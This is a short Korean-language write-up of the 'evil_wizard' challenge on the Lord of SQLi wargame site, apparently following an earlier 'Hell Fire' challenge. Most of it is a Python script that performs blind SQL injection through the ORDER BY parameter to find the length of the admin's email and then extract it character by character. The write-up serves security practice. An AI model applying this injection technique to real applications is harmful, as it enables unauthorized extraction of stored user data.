전 문제인 Hell Fire 문제의 코드와 별다른 차이점이 없는 것 같다. 다만 차이점이라면 첫번째 쿼리문 옆에 주석으로 ‘same with hell_fire? really?’라는 문구가 있었다.
정말 Hell Fire와 같을 것 같냐는 문구를 보니, 뭔가 DBMS에서 설정을 한 것으로 보인다. 일단 Hell Fire에서 시도하였던 것들과 비교하여 차이점을 찾아보겠다.
다른 방법들도 비교를 해봤지만 별차이가 없는 것 같았다.
import requests, string
url = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php'
headers = {'Cookie': 'PHPSESSID=6pcue41grdd15c632prnmpf8hv'}
def pwLength():
for num in range(1, 50):
parameter = f"?order=if(id='admin' and LENGTH(email)={num},0,1)"
res = requests.get(url + parameter, headers=headers)
if "<th>score</th><tr><td>admin" in res.text:
print(f'email의 길이 >>> {num}')
return num
def pwParser(len):
result = ''
for num in range(1, len+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
parameter = f"?order=if(SUBSTR((SELECT email WHERE id='admin'),{num},1)={hex(ord(s))},0,1)"
res = requests.get(url + parameter, headers=headers)
if "<th>score</th><tr><td>admin" in res.text:
print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
result += s
break
print(result)
pwParser(pwLength())